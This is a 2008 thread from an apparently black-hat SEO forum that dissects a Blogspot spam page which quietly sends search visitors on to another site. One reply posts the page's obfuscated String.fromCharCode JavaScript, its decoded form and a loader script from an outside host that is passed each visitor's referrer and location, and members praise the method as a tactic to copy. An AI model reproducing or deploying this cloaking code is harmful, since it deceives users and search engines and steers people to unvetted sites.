How was this done?

Discussion in 'Cloaking and Content Generators' started by regems, Sep 18, 2008.

  1. regems

    regems Newbie

    Joined:
    Sep 18, 2008
    Messages:
    3
    Likes Received:
    1
    Hey guys.
    I've been puzzling over how this cloak was done.
    http://chekcredit48e0c8673.blogspot.com/

    It's currently #5 on google for "credit chek" and if you click on those results, you get redirected to another site.

    But if you just search google for site:http://chekcredit48e0c8673.blogspot.com/ or access it directly, you don't get redirected.

    Since it's on blogspot, I assume it can't be any kind of server side method. And I looked at the source and couldn't see anything.

    Admittedly my cloaking knowledge is limited. Anyone care to fill me in on how this was done?
     
    • Thanks Thanks x 1
  2. agj32mrgibbits

    agj32mrgibbits Registered Member

    Joined:
    Mar 1, 2008
    Messages:
    73
    Likes Received:
    50
    Here is the chunk of javascript I found in the source that does the redirect.
    Code:
    document.write(String.fromCharCode(8539+-8479,-3609+3724,5365+-5266,-5831+5945,-3294+3399,-1023+1135,-4048+4164,-7209+7241,-5035+5151,-2429+2550,3946+-3834,-1316+1417,2730+-2669,2192+-2158,-4024+4140,438+-337,4564+-4444,-6501+6617,2866+-2819,-6551+6657,5574+-5477,-3586+3704,8748+-8651,-8068+8183,-3141+3240,2395+-2281,6149+-6044,-5757+5869,-9453+9569,4445+-4411,3852+-3820,9086+-8971,-9165+9279,-784+883,-6746+6807,-2458+2492,8194+-8090,-793+909,334+-218,-6842+6954,6778+-6720,-5720+5767,1843+-1796,-493+608,6473+-6357,7820+-7723,9945+-9829,1036+-921,-8681+8727,2811+-2709,4486+-4389,6893+-6794,9225+-9109,3233+-3121,8826+-8712,-3916+4037,-4372+4418,4974+-4875,328+-217,-3825+3934,-581+628,-5820+5919,-4740+4851,255+-138,3396+-3286,-1485+1601,7798+-7697,1590+-1476,7723+-7628,-1869+1975,4749+-4634,4500+-4454,2411+-2299,-3408+3512,-5994+6106,-1117+1180,-5589+5688,-6049+6110,9920+-9871,-4270+4321,6763+-6725,4405+-4298,-7377+7438,5988+-5937,-2362+2418,-8551+8605,-7928+7982,3266+-3232,6424+-6362,2400+-2282,9441+-9344,-4158+4272,6580+-6548,-5299+5396,6098+-6066,-24+85,3217+-3185,3895+-3861,-8435+8534,939+-842,-7975+8073,6315+-6261,-4562+4610,4436+-4379,-7094+7144,-555+611,-6681+6730,-2683+2782,3397+-3345,-6762+6811,3048+-2997,159+-62,7644+-7547,5672+-5623,-3854+3956,-4719+4821,7121+-7065,-1782+1834,8548+-8446,3544+-3444,-9382+9480,7988+-7886,9387+-9289,7199+-7143,-7311+7412,5484+-5384,-2825+2882,5906+-5806,-622+677,-1259+1311,-3156+3190,1404+-1345,-4945+5005,2283+-2236,-4160+4275,-2039+2138,-8272+8386,-841+946,5279+-5167,5125+-5009,2398+-2336));
    Which decodes to

    Code:
    <script type="text/javascript" src="http://stats.factpry.com/counter_js.php?c=13&k=3866">var a = 
    
    "cab609281c413aa1ff84fdbfb8ed9d74";</script>
    Which loads this

    Code:
    document.writeln('<script language=\'javascript\' src=\'http://stats.factpry.com/counter.php?c=13&k=3866&r=' + escape(document.referrer) + '&l=' + escape(document.location) + '\'></script>');
    Which if the referer and document location is right, it will send the redirect code.
     
    • Thanks Thanks x 3
  3. regems

    regems Newbie

    Joined:
    Sep 18, 2008
    Messages:
    3
    Likes Received:
    1
    That's very interesting, thanks agj32mrgibbits.

    If a browser understands how to decode and interpret the javascript, I'm surprised Google can't. I'd have thought this sort of method would get banned easily.
     
  4. CapMorgan

    CapMorgan Junior Member

    Joined:
    Dec 15, 2007
    Messages:
    147
    Likes Received:
    236
    How did you decode the javascript?
     
  5. agj32mrgibbits

    agj32mrgibbits Registered Member

    Joined:
    Mar 1, 2008
    Messages:
    73
    Likes Received:
    50
    I changed "document.write" to "alert" then copied the message.
     
    • Thanks Thanks x 2
  6. megabump

    megabump Registered Member

    Joined:
    Jul 26, 2008
    Messages:
    70
    Likes Received:
    15
    The Google spider ignores javascript.
     
  7. CapMorgan

    CapMorgan Junior Member

    Joined:
    Dec 15, 2007
    Messages:
    147
    Likes Received:
    236
    agj32mrgibbits can you suggest a good place that explains this in more detail?
     
  8. CapMorgan

    CapMorgan Junior Member

    Joined:
    Dec 15, 2007
    Messages:
    147
    Likes Received:
    236
    I noticed he also gives rank to his other pages by hotlinking his other blogs.
     
  9. areyouserious

    areyouserious Registered Member

    Joined:
    Jun 21, 2008
    Messages:
    80
    Likes Received:
    185
    agj32mrgibbits,

    you just became my hero...at least for today.

    Seriously
     
  10. BozoClown

    BozoClown Junior Member

    Joined:
    Jan 4, 2009
    Messages:
    150
    Likes Received:
    109
    That is brilliant combination of tactics.
     
  11. lazysurfer

    lazysurfer Junior Member

    Joined:
    Apr 9, 2008
    Messages:
    121
    Likes Received:
    124
    Gender:
    Male
    Occupation:
    BlackHat marketer
    I bet he is a member here.:biggthump
     
  12. almir

    almir Power Member

    Joined:
    Jul 11, 2008
    Messages:
    727
    Likes Received:
    230
    Do you guys see different results when searching CREDIT CHEK credit check ?

    Without caps I can't see him on the first page, but I succeed to register a deleted blog that is on his place when searching without caps
     
  13. .::BlackHat::.

    .::BlackHat::. Registered Member

    Joined:
    Dec 8, 2007
    Messages:
    58
    Likes Received:
    5
    It's incredible thing! :)
    Is this possible to be done in PHP..??
    Can somebody to explain how..??
     
  14. Thyphen

    Thyphen Registered Member

    Joined:
    Apr 7, 2008
    Messages:
    59
    Likes Received:
    6
    Could someone explain to me what exactly is going on here?